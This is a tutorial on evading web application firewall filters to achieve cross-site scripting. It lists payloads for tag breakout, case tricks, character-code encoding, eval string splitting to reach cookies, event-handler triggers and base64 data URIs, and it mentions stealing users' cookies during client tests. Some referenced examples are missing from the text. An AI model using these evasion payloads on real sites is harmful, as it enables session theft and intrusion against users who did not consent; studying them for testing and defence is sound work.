How to Bypass Web Application Firewall to Execute Cross Site Scripting

Due to the wide awareness among the developer community regarding Cross-Site Scripting vulnerabilities, at many places, a web application firewall, will be analyzing the user input, and sanitize it, and then pass it to the server.

So, in the present-day scenario, the knowledge of Cross-Site Scripting as well as bypassing (evading) WAFs is very crucial.

Here are some of the ways, in which one can bypass most of the web application firewalls Firewalls have their rules defined, and they will look for “certain” keywords while checking the input. Of course, they will be blocking the script tag, but one could use a change of capitalization to bypass them, eg sCrIpt.

In web pages that have a text box, using an input tag, with the code

We need to first jump out of the input tag to get our code executed. For that, first of all, we have to close the input tag with a closing bracket, and then write our script tag.

Here is one example, with our string as “><script>alert(“xss”)</script>

<input type=’text’ name=’input’ value=’”><script>alert(“xss”)</script>’ >

At places, where the web masters have used add_slashes() to protect against common web application attacks, we need to convert the text into ASCII to get it alerted.

Converting XSS to ASCII, we have its value as 88,83,83. So our final query would be

”><script>alert(String.fromCharCode(88,83,83))</script>

While I was conducting penetration tests on some of my clients, I noticed that, since they needed users to enter HTML on their website, to prevent XSS attacks, they stripped out certain specific words that were generally used in XSS attacks. The words filtered were document, cookie, onmouseover and so on.

So, I needed a workaround for this, to get the user’s cookies and perform all other operations. On further investigation, I found out that they had forgotten to block one important keyword in JavaScript, which is the eval keyword.

Eval tag in Javascript is for evaluation. So, I wrote up a simple query.

var a = eval(‘documen’+’t.cooki’+’e’);

and then set up the cookie logger to send to me the variable a Blocking “script” tags seems to be a possible solution to block XSS attacks, but it isn’t. There are a lot of other triggers in Javascript and HTML, which could be used, such as the BODY and IMG tags.

Since there is no image named xyz.png, it would throw an error, and the event defined for error will be triggered resulting in a successful exploitation

<BODY onload=prompt(“XSS”)> : as soon as the BODY of the HTML page will be loaded, our XSS will be executed

Filters can be bypassed by using Data URI’s. Data URI, defined by RFC 2397, is a smart way of embedding small files in line in HTML documents. Instead of linking to a file stored locally on the server, the file is provided within the URL itself as a base64-encoded string of data preceded by a mime-type.

Syntax : data:[mediatype][;base64],data

You could use the online converter for Base64

(http://www.opinionatedgeek.com/dotnet/tools/base64encode/) and convert your XSS query to Base64.

For example, say you have an attack vector : “><script>alert(“xss”)</script>

The resulting Base64 string for this would be

Ij48c2NyaXB0PmFsZXJ0KCJ4c3MiKTwvc2NyaXB0Pg==

So, there are no fixed hard and fast rules to evade filters. One has to think, by trial and error, and review the code to see the possibilities.

References :

Image credits : http://users.ece.cmu.edu/~dbrumley/courses/18487-f10/files/web-xss-csrf.pdf